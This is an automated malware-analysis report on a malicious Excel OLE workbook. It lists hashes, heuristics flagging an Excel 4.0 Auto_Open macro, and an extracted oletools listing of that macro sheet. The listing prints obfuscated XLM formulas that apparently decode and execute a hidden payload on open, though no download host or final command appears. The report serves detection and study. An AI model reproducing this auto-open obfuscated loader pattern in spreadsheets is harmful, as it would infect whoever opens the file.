Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99435f7458c589e7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:28 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: df17e457159303dcc3ead97316776453 SHA-1: 29f3681f2c48f7254c4f789dfdb72369af1b2af5 SHA-256: 99435f7458c589e75b3572dcc90708210abc9f5649652b5461ffb17186bbbad5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6848 bytes
SHA-256: 5c2d24d8aef646ffa334b2b9dc45668003aedb9a0453db3705a589ba51d41480
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xzontpseLia
' 0018     20 LABEL : Cell Value, String Constant - aqsOX len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D155 
' 0018     26 LABEL : Cell Value, String Constant - cvDenycwegv len=0 
' 0018     26 LABEL : Cell Value, String Constant - DOKuInxpbRb len=0 
' 0018     20 LABEL : Cell Value, String Constant - dtngS len=0 
' 0018     20 LABEL : Cell Value, String Constant - EqPTT len=0 
' 0018     26 LABEL : Cell Value, String Constant - EZZIsEsdEfG len=0 
' 0018     23 LABEL : Cell Value, String Constant - fEYjxYHf len=0 
' 0018     20 LABEL : Cell Value, String Constant - GNlSY len=0 
' 0018     24 LABEL : Cell Value, String Constant - gtNOYBEFo len=0 
' 0018     21 LABEL : Cell Value, String Constant - hhTqAN len=0 
' 0018     27 LABEL : Cell Value, String Constant - kEQuMEyViJzR len=0 
' 0018     22 LABEL : Cell Value, String Constant - oiqoRHM len=0 
' 0018     27 LABEL : Cell Value, String Constant - PoBJjoSMmzpt len=0 
' 0018     20 LABEL : Cell Value, String Constant - qgWEd len=0 
' 0018     22 LABEL : Cell Value, String Constant - QPERaHL len=0 
' 0018     21 LABEL : Cell Value, String Constant - RIkrZD len=0 
' 0018     25 LABEL : Cell Value, String Constant - RsJLaGWThK len=0 
' 0018     21 LABEL : Cell Value, String Constant - sEwDUd len=0 
' 0018     27 LABEL : Cell Value, String Constant - uHaAGGcGKQXi len=0 
' 0018     23 LABEL : Cell Value, String Constant - wGCNbcEs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xzontpseLia,Q42,"",-667.00000000000000000000
'  xzontpseLia,Q43,"",-737.00000000000000000000
'  xzontpseLia,Q44,"",-834.00000000000000000000
'  xzontpseLia,Q45,"",878.00000000000000000000
'  xzontpseLia,Q46,"",-338.00000000000000000000
'  xzontpseLia,Q47,"",-770.00000000000000000000
'  xzontpseLia,D62,"SET.NAME("aqsOX",0+VALUE("0"))",""
'  xzontpseLia,D67,"SET.NAME("sEwDUd",aqsOX)",""
'  xzontpseLia,D72,"SET.NAME("EqPTT",aqsOX)",""
'  xzontpseLia,D75,"SET.NAME("kEQuMEyViJzR",COUNTA(cvDenycwegv))",""
'  xzontpseLia,D79,"SET.NAME("hhTqAN",COUNTA(uHaAGGcGKQXi))",""
'  xzontpseLia,D84,[],""
'  xzontpseLia,D87,"SET.NAME("PoBJjoSMmzpt","")",""
'  xzontpseLia,D89,"sEwDUd",""
'  xzontpseLia,D92,"SET.NAME("qgWEd",HLOOKUP("*",cvDenycwegv,sEwDUd,FALSE))",""
'  xzontpseLia,D96,"QPERaHL",""
'  xzontpseLia,D99,"SET.NAME("gtNOYBEFo",aqsOX)",""
'  xzontpseLia,D102,[],""
'  xzontpseLia,D106,"gtNOYBEFo",""
'  xzontpseLia,D111,"oiqoRHM",""
'  xzontpseLia,D116,"RIkrZD",""
'  xzontpseLia,D119,"DOKuInxpbRb",""
'  xzontpseLia,D124,"SET.NAME("dtngS",VALUE(HLOOKUP("*",uHaAGGcGKQXi,DOKuInxpbRb,FALSE)))",""
'  xzontpseLia,D127,"wGCNbcEs",""
'  xzontpseLia,D132,"PoBJjoSMmzpt",""
'  xzontpseLia,D135,"EqPTT",""
'  xzontpseLia,D137,NEXT(),""
'  xzontpseLia,D139,"EZZIsEsdEfG",""
'  xzontpseLia,D142,[],""
'  xzontpseLia,D145,"GNlSY",""
'  xzontpseLia,D149,NEXT(),""
'  xzontpseLia,D153,RETURN(),""
'  xzontpseLia,D174,"SET.NAME("fEYjxYHf",D62)",""
'  xzontpseLia,D176,"cvDenycwegv",""
'  xzontpseLia,D181,"SET.NAME("uHaAGGcGKQXi",R41C12)",""
'  xzontpseLia,D183,"SET.NAME("GNlSY",189)",""
'  xzontpseLia,D185,"SET.NAME("RsJLaGWThK",4)",""
'  xzontpseLia,D188,fEYjxYHf(),""
'  xzontpseLia,D189,HALT(),""

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